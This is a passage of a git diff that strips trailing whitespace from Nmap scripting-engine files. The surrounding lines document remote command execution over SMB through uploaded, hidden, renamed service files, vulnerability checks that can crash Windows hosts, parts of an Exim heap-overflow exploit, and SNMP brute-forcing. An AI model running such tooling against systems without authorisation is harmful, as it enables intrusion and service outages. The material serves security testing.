the service that will be running this program * $service_file: the name of the executable file for the service * $temp_output_file: The (ciphered) file where the programs' output will be written before being renamed to $output_file * $output_file: The final name of the (ciphered) output file. When this file appears, the script downloads it and stops the service * $timeout: The total amount of time the script is going to run before it gives up and stops the process * $share: The share that everything was uploaded to -* (script args): Any value passed as a script argument will be replaced (for example, if Nmap is run with --script-args=var3=10, then $var3 in any field will be replaced with 10. See the req_args field above. Script argument values take priority over config values. +* (script args): Any value passed as a script argument will be replaced (for example, if Nmap is run with --script-args=var3=10, then $var3 in any field will be replaced with 10. See the req_args field above. Script argument values take priority over config values. In addition to modules, the configuration file can also contain overrides. Most of these aren't useful, so I'm not going to go into great detail. Search smb-psexec.nse -for any reference to the config table; any value in the config +for any reference to the config table; any value in the config table can be overridden with the overrides table in the module. The most useful -value to override is probably timeout. +value to override is probably timeout. -Before and after scripts are run, and when there's an error, a cleanup is performed. in the +Before and after scripts are run, and when there's an error, a cleanup is performed. in the cleanup, we attempt to stop the remote processes, delete all programs, output files, temporary -files, extra files, etc. A lot of effort was put into proper cleanup, since making a mess on -remote systems is a bad idea. +files, extra files, etc. A lot of effort was put into proper cleanup, since making a mess on +remote systems is a bad idea. Now that I've talked at length about how to use this script, I'd like to spend some time -talking about how it works. +talking about how it works. Running a script happens in several stages: -1) An open fileshare is found that we can write to. Finding an open fileshare basically -consists of enumerating all shares and seeing which one(s) we have access to. +1) An open fileshare is found that we can write to. Finding an open fileshare basically +consists of enumerating all shares and seeing which one(s) we have access to. -2) A "service wrapper", and all of the uploadable/extra files, are uploaded. Before -they're uploaded, the name of each file is obfuscated. The obfuscation completely +2) A "service wrapper", and all of the uploadable/extra files, are uploaded. Before +they're uploaded, the name of each file is obfuscated. The obfuscation completely renames the file, is unique for each source system, and doesn't change between multiple -runs. This obfuscation has the benefit of preventing filenames from overlapping if +runs. This obfuscation has the benefit of preventing filenames from overlapping if multiple people are running this against the same computer, and also makes it more difficult -to determine their purposes. The reason for keeping them consistent for every run is to +to determine their purposes. The reason for keeping them consistent for every run is to make cleanup possible: a random filename, if the script somehow fails, will be left on -the system. +the system. -3) A new service is created and started. The new service has a random name for the same -reason the files do, and points at the 'service wrapper' program that was uploaded. +3) A new service is created and started. The new service has a random name for the same +reason the files do, and points at the 'service wrapper' program that was uploaded. 4) The service runs the processes. One by one, the processes are run and their output is captured. The output is obfuscated using a simple (and highly insecure) xor algorithm, which is designed to prevent casual -sniffing (but won't deter intelligent attackers). This data is put into a temporary output +sniffing (but won't deter intelligent attackers). This data is put into a temporary output file. When all the programs have finished, the file is renamed to the final output file 5) The output file is downloaded, and the cleanup is performced. The file being renamed triggers the final stage of the program, where the data is downloaded and all relevant -files are deleted. +files are deleted. -6) Output file, now decrypted, is formatted and displayed to the user. +6) Output file, now decrypted, is formatted and displayed to the user. -And that's how it works! +And that's how it works! -Please post any questions, or suggestions for better modules, to dev@nmap.org. +Please post any questions, or suggestions for better modules, to dev@nmap.org. -And, as usual, since this tool can be dangerous and can easily be viewed as a malicious -tool -- use this responsibly, and don't break any laws with it. +And, as usual, since this tool can be dangerous and can easily be viewed as a malicious +tool -- use this responsibly, and don't break any laws with it. Some ideas for later versions (TODO): -* Set up a better environment for scripts (PATH, SystemRoot, etc). Without this, a lot of programs (especially ones that deal with network traffic) behave oddly. +* Set up a better environment for scripts (PATH, SystemRoot, etc). Without this, a lot of programs (especially ones that deal with network traffic) behave oddly. * Abstract the code required to run remote processes so other scripts can use it more easily (difficult, but will ultimately be well worth it later). (May actually not be possible. There is a lot of overhead and specialized code in this module. We'll see, though.) * Let user specify an output file (per-script) so they can, for example, download binary files (don't think it's worthwhile). * Consider running the external programs in parallel (not sure if the benefits outweigh the drawbacks). @@ -390,26 +390,26 @@ Some ideas for later versions (TODO): -- | | | Persistent Routes: -- | | | None -- |_ |_ |_ Route Table --- ---@args config The config file to use (eg, default). Config files require a .lua extension, and are located in nselib/data/psexec. +-- +--@args config The config file to use (eg, default). Config files require a .lua extension, and are located in nselib/data/psexec. --@args nohide Don't set the uploaded files to hidden/system/etc. ---@args cleanup Set to only clean up any mess we made (leftover files, processes, etc. on the host OS) on a previous run of the script. +--@args cleanup Set to only clean up any mess we made (leftover files, processes, etc. on the host OS) on a previous run of the script. -- This will attempt to delete the files from every share, not just the first one. This is done to prevent leftover --- files if the OS changes the ordering of the shares (there's no guarantee of shares coming back in any particular +-- files if the OS changes the ordering of the shares (there's no guarantee of shares coming back in any particular -- order) --- Note that cleaning up is still fairly invasive, since it has to re-discover the proper share, connect to it, --- delete files, open the services manager, etc. +-- Note that cleaning up is still fairly invasive, since it has to re-discover the proper share, connect to it, +-- delete files, open the services manager, etc. --@args share Set to override the share used for uploading. This also stops shares from being enumerated, and all other shares --- will be ignored. No checks are done to determine whether or not this is a valid share before using it. Reqires --- sharepath to be set. ---@args sharepath The full path to the share (eg, "c:\windows"). This is required when creating a service. +-- will be ignored. No checks are done to determine whether or not this is a valid share before using it. Reqires +-- sharepath to be set. +--@args sharepath The full path to the share (eg, "c:\windows"). This is required when creating a service. --@args time The minimum amount of time, in seconds, to wait for the external module to finish (default: 15) -- ---@args nocleanup Set to not clean up at all; this leaves the files on the remote system and the wrapper --- service installed. This is bad in practice, but significantly reduces the network traffic and makes analysis --- easier. ---@args nocipher Set to disable the ciphering of the returned text (useful for debugging). ---@args key Script uses this value instead of a random encryption key (useful for debugging the crypto). +--@args nocleanup Set to not clean up at all; this leaves the files on the remote system and the wrapper +-- service installed. This is bad in practice, but significantly reduces the network traffic and makes analysis +-- easier. +--@args nocipher Set to disable the ciphering of the returned text (useful for debugging). +--@args key Script uses this value instead of a random encryption key (useful for debugging the crypto). ----------------------------------------------------------------------- author = "Ron Bowes" @@ -428,14 +428,14 @@ hostrule = function(host) return smb.get_port(host) ~= nil end ----Get the random-ish filenames used by the service. +---Get the random-ish filenames used by the service. -- ---@param host The host table, which the names are based on. ---@return Status: true or false. ---@return Name of the remote service, or an error message if status is false. ---@return Name of the executable file that's run by the service. ---@return Name of the temporary output file. ---@return Name of the final output file. +--@param host The host table, which the names are based on. +--@return Status: true or false. +--@return Name of the remote service, or an error message if status is false. +--@return Name of the executable file that's run by the service. +--@return Name of the temporary output file. +--@return Name of the final output file. local function get_service_files(host) local status, service_name, service_file, temp_output_file, output_file @@ -463,7 +463,7 @@ local function get_service_files(host) -- Get the actual output file status, output_file = smb.get_uniqueish_name(host, "out") if(status == false) then - return false, string.format("Error generating remote output file: %s", output_file) + return false, string.format("Error generating remote output file: %s", output_file) end stdnse.print_debug("smb-psexec: Generated static output filename: %s", output_file) @@ -473,13 +473,13 @@ end ---Stop/delete the service and delete the service file. -- ---@param host The host object. ---@param config The table of configuration values. +--@param host The host object. +--@param config The table of configuration values. function cleanup(host, config) local status, err - -- Add a delay here. For some reason, calling this function too quickly causes SMB to close the connection, - -- but even a tiny delay makes that issue go away. + -- Add a delay here. For some reason, calling this function too quickly causes SMB to close the connection, + -- but even a tiny delay makes that issue go away. stdnse.sleep(.01) -- If the user doesn't want to clean up, don't @@ -511,11 +511,11 @@ function cleanup(host, config) end ---Find the file on the system (checks both Nmap's directories and the current --- directory). +-- directory). -- ---@param filename The name of the file. ---@param extension The extension of the file (filename without the extension is tried first). ---@return The full filename, or nil if it couldn't be found. +--@param filename The name of the file. +--@param extension The extension of the file (filename without the extension is tried first). +--@return The full filename, or nil if it couldn't be found. local function locate_file(filename, extension) stdnse.print_debug(1, "smb-psexec: Attempting to find file: %s", filename) @@ -529,7 +529,7 @@ local function locate_file(filename, extension) end -- check for absolute path or relative to current directory - if(filename_full == nil) then + if(filename_full == nil) then local f, err = io.open(filename, "rb") if f == nil then stdnse.print_debug(1, "%s: Error opening %s: %s", SCRIPT_NAME, filename, err) @@ -550,12 +550,12 @@ local function locate_file(filename, extension) return filename_full end ----Generate an array of all files that will be uploaded/created, including --- the temporary file and the output file. This is done so the files can --- all be deleted during the cleanup phase. +---Generate an array of all files that will be uploaded/created, including +-- the temporary file and the output file. This is done so the files can +-- all be deleted during the cleanup phase. -- ---@param config The config table. ---@return The array of files. +--@param config The config table. +--@return The array of files. local function get_all_files(config) local files = {config.service_file, config.output_file, config.temp_output_file} for _, mod in ipairs(config.enabled_modules) do @@ -585,14 +585,14 @@ local function get_all_files(config) return files end ----Decide which share to use. Unless the user overrides it with the 'share' and 'sharepath' --- arguments, a the first writable share is used. +---Decide which share to use. Unless the user overrides it with the 'share' and 'sharepath' +-- arguments, a the first writable share is used. -- ---@param host The host object. +--@param host The host object. --@return status true for success, false for failure ---@return share The share we're going to use, or an error message. ---@return path The path on the remote system that points to the share. ---@return shares A list of all shares on the system (used for cleaning up). +--@return share The share we're going to use, or an error message. +--@return path The path on the remote system that points to the share. +--@return shares A list of all shares on the system (used for cleaning up). local function find_share(host) local status, share, path, shares @@ -607,7 +607,7 @@ local function find_share(host) stdnse.print_debug(1, "smb-psexec: Using share chosen by the user: %s (%s)", share, path) else - -- Try and find a share to use. + -- Try and find a share to use. status, share, path, shares = smb.share_find_writable(host) if(status == false) then return false, share .. " (May not have an administrator account)" @@ -622,11 +622,11 @@ local function find_share(host) end ---Recursively replace all variables in the 'setting' field with string variables --- found in the 'config' field and in the script-args passed by the user. +-- found in the 'config' field and in the script-args passed by the user. -- ---@param config The configuration table (used as a source of variables to replace). ---@param setting The current setting field (generally a string or a table). ---@return setting The setting with all values replaced. +--@param config The configuration table (used as a source of variables to replace). +--@param setting The current setting field (generally a string or a table). +--@return setting The setting with all values replaced. local function replace_variables(config, setting) if(type(setting) == "string") then -- Replace module fields with variables in the script-args argument @@ -651,30 +651,30 @@ end ---Takes the 'overrides' field from a module and replace any configuration variables. -- ---@param config The config table. ---@param overrides The overrides we're replacing values with. ---@return config The new config table. +--@param config The config table. +--@param overrides The overrides we're replacing values with. +--@return config The new config table. local function do_overrides(config, overrides) if(overrides) then if(type(overrides) == 'string') then overrides = {overrides} end - + for i, v in pairs(overrides) do config[i] = v end end - + return config end ----Reads, prepares, parses, sanity checks, and pre-processes the configuration file (either the --- default, or the file passed as a parameter). +---Reads, prepares, parses, sanity checks, and pre-processes the configuration file (either the +-- default, or the file passed as a parameter). -- --@param host The host table. --@param config A table to fill with configuration values. --@return status true or false ---@return config The configuration table or an error message. +--@return config The configuration table or an error message. local function get_config(host, config) local status local filename = nmap.registry.args.config @@ -716,7 +716,7 @@ local function get_config(host, config) -- Initialize the timeout config.timeout = 0 - -- Figure out which share we're using (this is the first place in the script where a lot of traffic is generated -- + -- Figure out which share we're using (this is the first place in the script where a lot of traffic is generated -- -- any possible sanity checking should be done before this) status, config.share, config.path, config.all_shares = find_share(host) if(not(status)) then @@ -736,8 +736,8 @@ local function get_config(host, config) end -- Make sure the modules loaded properly - -- NOTE: If you're here because of an error that 'modules' is undefined, it's likely because your configuration file doesn't have a - -- proper modules table, or your configuration file has a module() declaration at the top. + -- NOTE: If you're here because of an error that 'modules' is undefined, it's likely because your configuration file doesn't have a + -- proper modules table, or your configuration file has a module() declaration at the top. if(not(modules) or #modules == 0) then return false, string.format("Configuration file (%s) doesn't have a proper 'modules' table.", filename) end @@ -864,7 +864,7 @@ local function get_config(host, config) -- Prepare extra files - if(enabled and mod.extrafiles) then + if(enabled and mod.extrafiles) then -- Make sure we have an array to help save on duplicate code if(type(mod.extrafiles) == "string") then mod.extrafiles = {mod.extrafiles} @@ -917,11 +917,11 @@ local function get_config(host, config) return true, config end ----Cipher (or uncipher) a string with a weak xor-based encryption. +---Cipher (or uncipher) a string with a weak xor-based encryption. -- --@args str The string go cipher/uncipher. --@args config The config file for this host (stores the encryption key). ---@return The decrypted string. +--@return The decrypted string. local function cipher(str, config) local result = "" if(config.key == "") then @@ -983,12 +983,12 @@ local function service_file_is_xor_encoded(filename) return bytes == string.char(0xb2, 0xa5) end ----Upload all of the uploadable files to the remote system. +---Upload all of the uploadable files to the remote system. -- ---@param host The host table. ---@param config The configuration table. +--@param host The host table. +--@param config The configuration table. --@return status true or false ---@return err An error message if status is false. +--@return err An error message if status is false. local function upload_everything(host, config) local is_xor_encoded, msg local overrides = get_overrides() @@ -1054,11 +1054,11 @@ local function upload_everything(host, config) return true end ----Create the service on the remote system. +---Create the service on the remote system. --@param host The host object. ---@param config The configuration table. +--@param config The configuration table. --@return status true or false ---@return err An error message if status is false. +--@return err An error message if status is false. local function create_service(host, config) local status, err = msrpc.service_create(host, config.service_name, config.path .. "\\" .. config.service_file) if(status == false) then @@ -1076,12 +1076,12 @@ local function create_service(host, config) end ---Create the list of parameters we're using to start the service. This consists --- of a few global params, then a group of parameters with options for each process --- that's going to be started. +-- of a few global params, then a group of parameters with options for each process +-- that's going to be started. -- ---@param config The configuration table. +--@param config The configuration table. --@return status true or false ---@return params A table of parameters if status is true, or an error message if status is false. +--@return params A table of parameters if status is true, or an error message if status is false. local function get_params(config) local count = 0 @@ -1090,7 +1090,7 @@ local function get_params(config) table.insert(params, config.path .. "\\" .. config.output_file) table.insert(params, config.path .. "\\" .. config.temp_output_file) table.insert(params, tostring(#config.enabled_modules)) - table.insert(params, "0") + table.insert(params, "0") table.insert(params, config.key) table.insert(params, config.path) for _, mod in ipairs(config.enabled_modules) do @@ -1109,13 +1109,13 @@ local function get_params(config) return true, params end ----Start the service on the remote machine. +---Start the service on the remote machine. -- --@param host The host object. ---@param config The configuration table. ---@param params The parameters to pass to the service, likely from the get_params function. +--@param config The configuration table. +--@param params The parameters to pass to the service, likely from the get_params function. --@return status true or false ---@return err An error message if status is false. +--@return err An error message if status is false. local function start_service(host, config, params) local status, err = msrpc.service_start(host, config.service_name, params) if(status == false) then @@ -1127,12 +1127,12 @@ local function start_service(host, config, params) end ---Poll for the output file on the remote machine until either the file is created, or the timeout --- expires. +-- expires. -- --@param host The host object. ---@param config The configuration table. +--@param config The configuration table. --@return status true or false ---@return result The file if status is true, or an error message if status is false. +--@return result The file if status is true, or an error message if status is false. local function get_output_file(host, config) stdnse.print_debug(1, "smb-psexec: Waiting for output file to be created (timeout = %d seconds)", config.timeout) @@ -1146,7 +1146,7 @@ local function get_output_file(host, config) -- An unexpected error occurred stdnse.print_debug(1, "smb-psexec: Couldn't read the file: %s", result) cleanup(host, config) - + return false, string.format("Couldn't read the file from the remote machine: %s", result) end @@ -1173,7 +1173,7 @@ local function get_output_file(host, config) end ---Decide whether or not a line should be included in the output file, based on the module's --- find, remove, and noblank settings. +-- find, remove, and noblank settings. local function should_be_included(mod, line) local removed, found @@ -1195,7 +1195,7 @@ local function should_be_included(mod, line) end -- Remove blank lines if we're supposed to - if(mod.noblank and line == "") then + if(mod.noblank and line == "") then removed = true end @@ -1222,7 +1222,7 @@ local function should_be_included(mod, line) return (found and not(removed)) end ----Alter a line based on the module's 'replace' setting. +---Alter a line based on the module's 'replace' setting. local function do_replacements(mod, line) if(mod.replace) then for _, v in pairs(mod.replace) do @@ -1248,7 +1248,7 @@ local function do_replacements(mod, line) return line end ----Parse the output file into a neat array. +---Parse the output file into a neat array. local function parse_output(config, data) -- Allow 'data' to be nil. This lets us skip most of the effort when all mods are disabled data = data or "" @@ -1298,7 +1298,7 @@ local function parse_output(config, data) result = {} result['name'] = "" result['lines'] = {} - + if(mod.name) then result['name'] = mod.name else @@ -1376,14 +1376,14 @@ and place it in nselib/data/psexec/ under the Nmap DATADIR. end if(#config.enabled_modules > 0) then - -- Start by cleaning up, just in case. + -- Start by cleaning up, just in case. cleanup(host, config) - + -- If the user just wanted a cleanup, do it if(stdnse.get_script_args( "cleanup" )) then return stdnse.format_output(true, "Cleanup complete.") end - + -- Check if any of the files exist status, result, files = smb.files_exist(host, config.share, config.all_files, {}) if(not(status)) then @@ -1398,28 +1398,28 @@ and place it in nselib/data/psexec/ under the Nmap DATADIR. table.insert(response, "* Deleting the affected file(s) off the server manually (\\\\" .. config.share .. "\\" .. stdnse.strjoin(", \\\\" .. config.share .. "\\", files) .. ")") return stdnse.format_output(false, response) end - + -- Upload the modules status, err = upload_everything(host, config) if(not(status)) then cleanup(host, config) return stdnse.format_output(false, err) end - + -- Create the service status, err = create_service(host, config) if(not(status)) then cleanup(host, config) return stdnse.format_output(false, err) end - + -- Get the table of parameters to pass to the service when we start it status, params = get_params(config) if(not(status)) then cleanup(host, config) return stdnse.format_output(false, params) end - + -- Start the service status, params = start_service(host, config, params) if(not(status)) then @@ -1436,7 +1436,7 @@ and place it in nselib/data/psexec/ under the Nmap DATADIR. -- Do a final cleanup cleanup(host, config) - + -- Uncipher the file result = cipher(result, config) end diff --git a/scripts/smb-security-mode.nse b/scripts/smb-security-mode.nse index 3077ff7d1..4543ba468 100644 --- a/scripts/smb-security-mode.nse +++ b/scripts/smb-security-mode.nse @@ -11,11 +11,11 @@ Here is how to interpret the output: * User-level authentication: Each user has a separate username/password that is used to log into the system. This is the default setup of pretty much everything these days. * Share-level authentication: The anonymous account should be used to log in, then the password is given (in plaintext) when a share is accessed. All users who have access to the share use this password. This was the original way of doing things, but isn't commonly seen, now. If a server uses share-level security, it is vulnerable to sniffing. -* Challenge/response passwords supported: If enabled, the server can accept any type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it isn't set, the server can only accept plaintext passwords. Most servers are configured to use challenge/response these days. If a server is configured to accept plaintext passwords, it is vulnerable to sniffing. LM and NTLM are fairly secure, although there are some brute-force attacks against them. Additionally, LM and NTLM can fall victim to man-in-the-middle attacks or relay attacks (see MS08-068 or my writeup of it: http://www.skullsecurity.org/blog/?p=110. +* Challenge/response passwords supported: If enabled, the server can accept any type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it isn't set, the server can only accept plaintext passwords. Most servers are configured to use challenge/response these days. If a server is configured to accept plaintext passwords, it is vulnerable to sniffing. LM and NTLM are fairly secure, although there are some brute-force attacks against them. Additionally, LM and NTLM can fall victim to man-in-the-middle attacks or relay attacks (see MS08-068 or my writeup of it: http://www.skullsecurity.org/blog/?p=110. * Message signing: If required, all messages between the client and server must be signed by a shared key, derived from the password and the server challenge. If supported and not required, message signing is negotiated between clients and servers and used if both support and request it. By default, Windows clients don't sign messages, so if message signing isn't required by the server, messages probably won't be signed; additionally, if performing a man-in-the-middle attack, an attacker can negotiate no message signing. If message signing isn't required, the server is vulnerable to man-in-the-middle attacks or SMB-relay attacks. This script will allow you to use the smb* script arguments (to -set the username and password, etc.), but it probably won't ever require them. +set the username and password, etc.), but it probably won't ever require them. ]] --- @@ -69,7 +69,7 @@ action = function(host) if(result ~= false) then table.insert(response, string.format("Account that was used for smb scripts: %s%s", domain, stdnse.string_or_blank(username, ''))) end - + -- User-level authentication or share-level authentication if(bit.band(security_mode, 1) == 1) then table.insert(response, "User-level authentication") diff --git a/scripts/smb-server-stats.nse b/scripts/smb-server-stats.nse index 87dd9f68f..f37f89436 100644 --- a/scripts/smb-server-stats.nse +++ b/scripts/smb-server-stats.nse @@ -6,17 +6,17 @@ local table = require "table" description = [[ Attempts to grab the server's statistics over SMB and MSRPC, which uses TCP -ports 445 or 139. +ports 445 or 139. An administrator account is required to pull these statistics on most versions -of Windows, and Vista and above require UAC to be turned down. +of Windows, and Vista and above require UAC to be turned down. -Some of the numbers returned here don't feel right to me, but they're definitely -the numbers that Windows returns. Take the values here with a grain of salt. +Some of the numbers returned here don't feel right to me, but they're definitely +the numbers that Windows returns. Take the values here with a grain of salt. -These statistics are found using a single call to a SRVSVC function, +These statistics are found using a single call to a SRVSVC function, NetServerGetStatistics. This packet is parsed incorrectly by Wireshark, -up to version 1.0.3 (and possibly higher). +up to version 1.0.3 (and possibly higher). ]] --- diff --git a/scripts/smb-system-info.nse b/scripts/smb-system-info.nse index 8cf7c1953..cc3bcc97b 100644 --- a/scripts/smb-system-info.nse +++ b/scripts/smb-system-info.nse @@ -8,15 +8,15 @@ local table = require "table" description = [[ Pulls back information about the remote system from the registry. Getting all of the information requires an administrative account, although a user account -will still get a lot of it. Guest probably won't get any, nor will anonymous. -This goes for all operating systems, including Windows 2000. +will still get a lot of it. Guest probably won't get any, nor will anonymous. +This goes for all operating systems, including Windows 2000. -Windows Vista disables remote registry access by default, so unless it was enabled, +Windows Vista disables remote registry access by default, so unless it was enabled, this script won't work. -If you know of more information stored in the Windows registry that could be interesting, -post a message to the nmap-dev mailing list and I (Ron Bowes) will add it to my todo list. -Adding new checks to this is extremely easy. +If you know of more information stored in the Windows registry that could be interesting, +post a message to the nmap-dev mailing list and I (Ron Bowes) will add it to my todo list. +Adding new checks to this is extremely easy. WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows 2000 system; I've fixed the issue that caused it, @@ -64,8 +64,8 @@ hostrule = function(host) return smb.get_port(host) ~= nil end ----Retrieves the requested value from the registry. ---@param smbstate The SMB table we're using, bound to the WINREG service. +---Retrieves the requested value from the registry. +--@param smbstate The SMB table we're using, bound to the WINREG service. --@param handle The handle to the hive (HKLM or HKU, for example). --@param key The full path of the key to retrieve (like "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment"). --@param value The value to retrieve (like "NUMBER_OF_PROCESSORS"). @@ -177,7 +177,7 @@ local function get_info_registry(host) end msrpc.stop_smb(smbstate) - + return true, result end diff --git a/scripts/smb-vuln-ms10-054.nse b/scripts/smb-vuln-ms10-054.nse index cfbd03daa..36dac246c 100644 --- a/scripts/smb-vuln-ms10-054.nse +++ b/scripts/smb-vuln-ms10-054.nse @@ -6,13 +6,13 @@ local vulns = require "vulns" local stdnse = require "stdnse" description = [[ -Tests whether target machines are vulnerable to the ms10-054 SMB remote memory +Tests whether target machines are vulnerable to the ms10-054 SMB remote memory corruption vulnerability. -The vulnerable machine will crash with BSOD. +The vulnerable machine will crash with BSOD. The script requires at least READ access right to a share on a remote machine. -Either with guest credentials or with specified username/password. +Either with guest credentials or with specified username/password. ]] @@ -60,17 +60,17 @@ local function send_transaction2(smbstate, sub_command, function_parameters) -- Header is 0x20 bytes long (not counting NetBIOS header). header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2 - + if(function_parameters) then parameter_offset = 0x44 parameter_size = #function_parameters data_offset = #function_parameters + 33 + 32 end - - -- Parameters are 0x20 bytes long. + + -- Parameters are 0x20 bytes long. parameters = bin.pack(" --script=smb-vuln-ms10-061 --- +-- -- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares. --- +-- -- @output -- PORT STATE SERVICE REASON -- 445/tcp open microsoft-ds syn-ack @@ -94,7 +94,7 @@ aka "Print Spooler Service Impersonation Vulnerability." stdnse.print_debug("SMB: " .. smbstate) return false, smbstate end - + local bind_result status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil) if(status == false) then @@ -102,9 +102,9 @@ aka "Print Spooler Service Impersonation Vulnerability." stdnse.print_debug("SMB: " .. bind_result) return false, bind_result end - local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') - -- if printer not set find available printers - if not printer then + local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') + -- if printer not set find available printers + if not printer then stdnse.print_debug("No printer specified, trying to find one...") local lanman_result local REMSmb_NetShareEnum_P = "WrLeh" @@ -114,7 +114,7 @@ aka "Print Spooler Service Impersonation Vulnerability." stdnse.print_debug("SMB: " .. lanman_result) stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.") end - + local parameters = lanman_result.parameters local data = lanman_result.data local pos, status, convert, entry_count, available_entries = bin.unpack("s",data,pos+14) pos, name = bin.unpack("Exim user privileges. If this script argument is set then it will enable the smtp-vuln-cve2010-4344.exploit argument. -To get the appropriate debug messages for this script, please use -d2. +To get the appropriate debug messages for this script, please use -d2. Some of the logic of this script is based on the metasploit exim4_string_format exploit. @@ -197,7 +197,7 @@ local function exploit_heap(socket, smtp_opts) log_buf_size = log_buf_size - 3 local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader" - while #log_buf < log_buf_size do + while #log_buf < log_buf_size do local hdr = string.format("%s: %s\n", nmap_hdr, filler) local one = 2 + #hdr local two = 2 * one @@ -208,7 +208,7 @@ local function exploit_heap(socket, smtp_opts) hdr = string.sub(hdr, 0, first - 1).."\n" hdrs = hdrs..hdr log_buf = log_buf.." "..hdr - local second = left - first + local second = left - first hdr = string.format("%s: %s\n", nmap_hdr, filler) hdr = string.sub(hdr, 0, second - 1).."\n" end @@ -248,7 +248,7 @@ local function exploit_heap(socket, smtp_opts) if not status then return clean(socket, status, "failed to terminate headers.") end - + local body_size = 0 filler = string.rep(string.rep("Nmap", 63).."XX\r\n", 1024) while body_size < msg_len do @@ -268,7 +268,7 @@ local function exploit_heap(socket, smtp_opts) return status, "failed to terminate the message." end end - + status, ret = smtp.check_reply("DATA", response) if not status then local code = tonumber(ret:match("(%d+)")) @@ -358,7 +358,7 @@ local function check_exim(smtp_opts) return smtp_finish(socket, false, 'failed to read the SMTP banner.') end - + if not smtp_opts.exploit then table.insert(out, 3, exim_heap_result) table.insert(out, 5, exim_priv_result) @@ -395,7 +395,7 @@ local function check_exim(smtp_opts) if not smtp_opts.domain_ip then smtp_opts.domain_ip = nmap_scanme_ip end - + -- set the appropriate 'MAIL FROM' and 'RCPT TO' values if not smtp_opts.mailfrom then smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain) diff --git a/scripts/smtp-vuln-cve2011-1720.nse b/scripts/smtp-vuln-cve2011-1720.nse index 41ab3805c..a882f7f1d 100644 --- a/scripts/smtp-vuln-cve2011-1720.nse +++ b/scripts/smtp-vuln-cve2011-1720.nse @@ -22,7 +22,7 @@ Reference: -- @output -- PORT STATE SERVICE -- 25/tcp open smtp --- | smtp-vuln-cve2011-1720: +-- | smtp-vuln-cve2011-1720: -- | VULNERABLE: -- | Postfix SMTP server Cyrus SASL Memory Corruption -- | State: VULNERABLE @@ -84,17 +84,17 @@ local AUTH_VULN = { killby = {} }, } - + -- parse and check the authentication mechanisms. -- This function will save the vulnerable auth mechanisms in -- the auth_mlist table, and returns all the available auth -- mechanisms as a string. local function chk_auth_mechanisms(ehlo_res, auth_mlist) local mlist, mstr = smtp.get_auth_mech(ehlo_res), "" - + if mlist then for _, mech in ipairs(mlist) do - mstr = mstr.." "..mech + mstr = mstr.." "..mech if AUTH_VULN[mech] then auth_mlist[mech] = mech end @@ -188,7 +188,7 @@ local function check_smtpd(smtp_opts) if not status then return status, response end - + status, response = smtp.ehlo(socket, smtp_opts.domain) if not status then return status, response @@ -244,13 +244,13 @@ local function check_smtpd(smtp_opts) table.insert(vuln.check_results, string.format("AUTH tests:%s", auth_tests)) - end + end else stdnse.print_debug(2, "%s: Authentication is not available", SCRIPT_NAME) table.insert(vuln.check_results, "Authentication is not available") end - + vuln.state = vulns.STATE.NOT_VULN return smtp_finish(socket, true) end diff --git a/scripts/smtp-vuln-cve2011-1764.nse b/scripts/smtp-vuln-cve2011-1764.nse index 5da2745b3..d1b1d8032 100644 --- a/scripts/smtp-vuln-cve2011-1764.nse +++ b/scripts/smtp-vuln-cve2011-1764.nse @@ -27,7 +27,7 @@ Reference: -- @output -- PORT STATE SERVICE -- 25/tcp open smtp --- | smtp-vuln-cve2011-1764: +-- | smtp-vuln-cve2011-1764: -- | VULNERABLE: -- | Exim DKIM format string -- | State: VULNERABLE @@ -83,7 +83,7 @@ end -- Returns true, true if the Exim server is vulnrable local function check_dkim(socket, smtp_opts) local killed = false - + stdnse.print_debug(2, "%s: checking the Exim DKIM Format String", SCRIPT_NAME) @@ -172,7 +172,7 @@ local function check_exim(smtp_opts) return smtp_finish(socket, true) end end - + local status, response = smtp.ehlo(socket, smtp_opts.domain) if not status then return smtp_finish(socket, status, response) diff --git a/scripts/snmp-brute.nse b/scripts/snmp-brute.nse index 6ecfd4299..042d38ef5 100644 --- a/scripts/snmp-brute.nse +++ b/scripts/snmp-brute.nse @@ -12,9 +12,9 @@ local unpwdb = require "unpwdb" description = [[ Attempts to find an SNMP community string by brute force guessing. -This script opens a sending socket and a sniffing pcap socket in parallel +This script opens a sending socket and a sniffing pcap socket in parallel threads. The sending socket sends the SNMP probes with the community strings, -while the pcap socket sniffs the network for an answer to the probes. If +while the pcap socket sniffs the network for an answer to the probes. If valid community strings are found, they are added to the creds database and reported in the output. @@ -28,8 +28,8 @@ this wordlist does not exist, the script falls back to No output is reported if no valid account is found. ]] -- 2008-07-03 Philip Pickering, basic verstion --- 2011-07-17 Gorjan Petrovski, Patrik Karlsson, optimization and creds --- accounts, rejected use of the brute library because of +-- 2011-07-17 Gorjan Petrovski, Patrik Karlsson, optimization and creds +-- accounts, rejected use of the brute library because of -- implementation using unconnected sockets. -- 2011-12-29 Patrik Karlsson - Added lport to sniff_snmp_responses to fix -- bug preventing multiple scripts from working @@ -44,7 +44,7 @@ No output is reported if no valid account is found. -- @output -- PORT STATE SERVICE -- 161/udp open snmp --- | snmp-brute: +-- | snmp-brute: -- | dragon - Valid credentials -- |_ jordan - Valid credentials @@ -81,7 +81,7 @@ local filltable = function(filename, table) return true end - + local closure = function(table) local i = 1 @@ -170,26 +170,26 @@ end local sniff_snmp_responses = function(host, port, lport, result) local condvar = nmap.condvar(result) - + local pcap = nmap.new_socket() pcap:set_timeout(host.times.timeout * 1000 * 3) local ip = host.bin_ip_src ip = string.format("%d.%d.%d.%d",ip:byte(1),ip:byte(2),ip:byte(3),ip:byte(4)) pcap:pcap_open(host.interface, 104, false,"dst host " .. ip .. " and udp and src port 161 and dst port " .. lport) - + -- last_run indicated whether there will be only one more receive local last_run = false -- receive even when status=false untill all the probes are sent while true do local status, plen, l2, l3, _ = pcap:pcap_receive() - + if status then local p = packet.Packet:new(l3,#l3) if not p:udp_parse() then --shouldn't happen result.status = false - result.msg = "Wrong type of packet received" + result.msg 